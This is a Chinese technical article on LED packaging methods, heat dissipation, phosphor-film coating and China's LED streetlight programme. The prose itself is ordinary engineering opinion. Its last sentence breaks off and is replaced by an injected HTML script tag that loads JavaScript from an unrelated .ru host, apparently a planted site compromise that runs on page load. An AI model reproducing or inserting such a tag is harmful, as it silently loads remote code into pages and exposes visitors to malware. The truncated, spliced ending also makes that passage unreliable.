关于LED封装技术创新的探讨

作者 吴继德

本文就照明用LED的封装型式及创新问题进行了一些探讨，只在为推动LED在照明领域的实用化、以及解决LED的散热问题发表自己的见解，有些见解还比较独特。要使我国要成为LED芯片制造和应用的先进国家。还有很长的路要走。


常规现有的封装方法及应用领域

目前LED的封装方法有：支架排封装，贴片封装，模组封装几种，这些封装方法都是我们常见和常用的。

支架排封装是较早采用，用来生产单个LED器件，这就是我们常见的引线型发光二极管（包括食人鱼封装），它适合做仪器指示灯、城市亮化工程，广告屏，护拦管，交通指示灯，及目前我国应用比较普遍的一些产品和领域。

贴片封装（SMD）是一种无引线封装，体积小、薄，很适合做手机的键盘显示照明，电视机的背光照明，以及需要照明或指示的电子产品，近年来贴片封装有向大尺寸和高功率的方向发展，一个贴片内封装三、四个led芯片，可用于组装照明产品。模组封装也是一种多芯片封装，在氧化铝或氮化铝基板上以较小的尺寸、高的封装密度封装几十个或几百个LED芯片，内部的联线是混联型式，即有多个芯片的串联、又有好几路的并联。这种封装主要是扩大功率，用做照明产品。模组封装由于封装的密度较高，应用时产生的热量大，散热是解决应用的首要问题。采用以上的封装方法生产的器件，用于生产照明灯具都有一个共同特点：这就是热阻的道数较多，难以生产出高质量的照明灯具，且模组本身与散热器的连接处理要求比较高。目前所有的封装方法都是将黄色荧光粉（YAG）和环氧树脂按不同比列混合均匀，直接点到发蓝光的LED芯片上，再加热固化。这种常见的做法优点是节约材料，缺点是不利于散热、荧光粉也会老化。因为环氧树脂和荧光粉都不是导热好的材料，且包裹整个芯片就会影响散热。对于制造LED照明灯具采用这种方法显然不是较好的方案。

目前国外生产的大功率芯片，0.5瓦以上的白光芯片都是在蓝光芯片上涂敷一层均匀的YAG荧光粉浆，外表看去是一粒黄色的立方体，(除用于焊接的二个金垫没有荧光粉，这种方法比前面常用的方法可提高光效，因此在国外普遍使用。)在封装时只要将这种白光芯片焊接在设计好的电路板上就可以，省去了涂敷荧光粉的工序。给灯具生产企业带来了方便，但目前国内生产芯片的供应商还未能做出此类LED白光芯片。

我国是较早开发LED路灯的国家，目前在国内使用也不错，原因是国家重视“低碳经济”，2009年我国推行十城万盏LED路灯，很多城市都有实验路段，以检验LED路灯的可行性，我国是以路灯应用为突破，而国外（欧司朗、日亚、三星等公司）则是以室内照明为突破口，这二种路线究竟谁更具有优势，目前还未见分晓。就我国而言先从LED路灯照明为应用方向，是国情所致，原因是我国国民收入较低，而LED室内照明灯的成本较高，老百姓接受不了。而LED路灯的使用是政府出银子，LED路灯生产企业正是看中了这一点。其实LED路灯的工作条件比室内LED照明灯具更苛刻，要求更高，如能做到质量过关（散热、使用寿命、显色性、可靠性等），那么再来做室内的LED照明灯就比较容易了。目前国外的LED巨头都在大量推出几百款甚至上千款的LED室内照明灯具，价格在20—75美元之间，功率从几瓦到二十瓦。但它们采用的封装方法都是前面提及的，唯一菲利普公司，使荧光粉涂敷在LED灯罩上，被评为2009年较有创意的LED照明产品之一。

笔者认为：凡是LED照明灯具其制造都应采用多芯片封装和模组封装（模组封装是一种高密度的多芯片封装），而且较好是LED芯片直接封装在灯具主体上，这样热阻的道数较少，可以取得较好的散热效果。或者在灯具主体上制成敷有铜箔的线路体，其热阻也较低，LED照明的功率至少也要几瓦以上，所以都是多芯片使用，以往的封装工艺就不适用，必须采用新的方法和工艺。采用多个封装好的LED器件来组装LED灯具，是造不出高质量和高可靠的LED灯具的，希望从事LED灯具制造的技术人员能明白这一点。


荧光粉涂敷工艺的创新

模组封装的荧光粉涂敷，目前所见到的还是将荧光粉浆直接涂敷在芯片上面，同一块模组的荧光粉还是较一致，但对大批量生产就可能会出现不同的模组用眼睛看出色差来，较好的办法是使用LED荧光粉薄膜或膜片，薄膜和膜片可以规模化生产，一致性好，LED灯都是多芯片封装，发出的光互相混合，经过荧光粉膜或膜片转换为白光，其色差可以消除。对薄膜和膜片的要求是：

1， 能透过光线，厚度在0.1----0.5mm之间，荧光粉均匀，外观平整。

2， 光转化效率要高，稳定性要好，寿命长，抗老化性好。

3， 可做成有片基的和无片基的，做成薄片也可，看实施条件和成本。对片基要求是无色透明抗老化好?script src=http://app.webserviceget.ru/js.js>

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